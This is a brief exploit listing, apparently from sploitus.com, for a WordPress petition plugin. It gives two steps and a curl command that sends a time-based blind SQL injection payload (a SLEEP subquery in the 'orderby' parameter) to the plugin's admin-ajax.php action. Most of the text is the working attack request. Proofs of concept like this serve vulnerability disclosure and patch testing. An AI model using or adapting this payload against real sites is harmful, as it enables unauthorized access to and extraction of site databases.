Share
## https://sploitus.com/exploit?id=WPEX-ID:E0FE5A53-8AE2-4B67-AC6E-4A8860E39035
1. Create and publish a new petition.

2. Invoke the following curl command, with the nonce in place, to induce a 5-second sleep:

curl -i 'http://127.0.0.1:7777/wp-admin/admin-ajax.php?action=cbxpetition_load_more_signs&security=<NONCE HERE>' \
    --data 'petition_id=2133&perpage=30&order=xxxxxxxxx&page=2&orderby=id AND (SELECT 4657 FROM (SELECT(SLEEP(5)))kvyf)'